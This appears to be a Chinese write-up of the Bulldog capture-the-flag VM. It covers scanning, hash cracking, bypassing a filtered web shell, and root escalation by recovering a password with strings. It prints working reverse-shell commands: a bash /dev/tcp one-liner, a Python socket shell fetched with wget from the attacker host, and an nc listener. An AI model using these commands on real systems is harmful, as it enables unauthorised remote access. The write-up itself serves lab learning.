靶机ip无法获取问题的解决方法:
1.重启bulldog,到开机页面选择第二个Ubuntu的高级选项。
2.进入高级选项,再次选择第二个Linux内核版本的恢复模式回车。
3.选择root一行回车,进入命令行模式
4.输入 mount -o rw,remount /
5.输入 ifconfig -a (查看网卡名称)
6.输入 vim /etc/network/interfaces ,修改网卡名称成查询的结果,保存后输入reboot重启即可。
auto ens33
iface ens33 inet dhcp
一、信息收集:
1.信息收集常规三部曲:靶机ip扫描+端口扫描+网站目录扫描:
1)靶机IP:192.168.225.169
2)端口开放情况:
nmap 192.168.225.169 1-10000
3.目录扫描出/admin和/dev,需要分别进行访问:
dirb http://192.168.225.169
2.首先进行网页访问,点击pulic notice进入查看到一些靶机描述:支付系统被非法入侵了,并且从技术人员的表述中,大概猜测和获取shell以及脏牛漏洞有关。
3.对扫描的目录进行,逐个访问admin是一个登录框,dev目录下点击web shell获取到一个信息:需要进行服务端验证才能使用webshell
http://192.168.225.169/dev/shell/
4.返回/dev界面查看一下源码,发现类似md5加密的字符串,逐个进行尝试,发现最后两个可以进行解密,得到两个密码:
nick bulldog
sarah bulldoglover
5.渗透测试目前所遇到的登录密码,一般有两个使用方法:ssh远程登陆或者网页登录框登录,鉴于没有扫描到ssh端口,而扫描到了登录界面,所以进行登录框登录:
6.没有编辑权限,转到扫描到的另一个目录:/dev/shell发现可以进行编辑,并且提示了可以命令,所以常规思路为反弹一个shell:
主要问题在于很多命令被过滤了,百度了……
方法1:允许执行echo命令,使用echo打包上传:
echo 'bash -i >& /dev/tcp/192.168.225.133/1234 0>&1' | bash
利用echo构建一个反弹shell的命令,然后用管道符给bash执行
方法2:上传一个python的获取shell的脚本到靶机,因为该网站的脚本语言为python
脚本如下:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.225.133",1235))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
开启http.server服务并进行脚本上传:
python3 -m http.server 80
ls & wget 192.168.225.133/bulldog_shell.py
在kali上进行监听,在命令栏执行上传的shell脚本即可反弹shell:
nc -lvp 1235
ls & python bulldog_shell.py
二、提权
1.成功反弹shell之后,常规思路:
sudo -l
find查看提权命令:
查看系统用户密码,是否有/bin/bash权限
cat /etc/passwd
cd /home/bulldogadmin
ls -al
2.发现隐藏admin目录,这名字一看就是有故事的文件:note里面是一些提示,customPermissionApp是一个可执行文件
3.使用strings命令提权非文本文件中的文本字符串:
strings customPermissionApp
4.这是什么?拼接一下:SUPERultimatePASSWORDyouCANTget,猜测是root密码,进行登录,发现没有权限,问题不大,生成交互式终端:
python -c 'import pty; pty.spawn("/bin/bash")'
5.进入/root目录获取最后flag: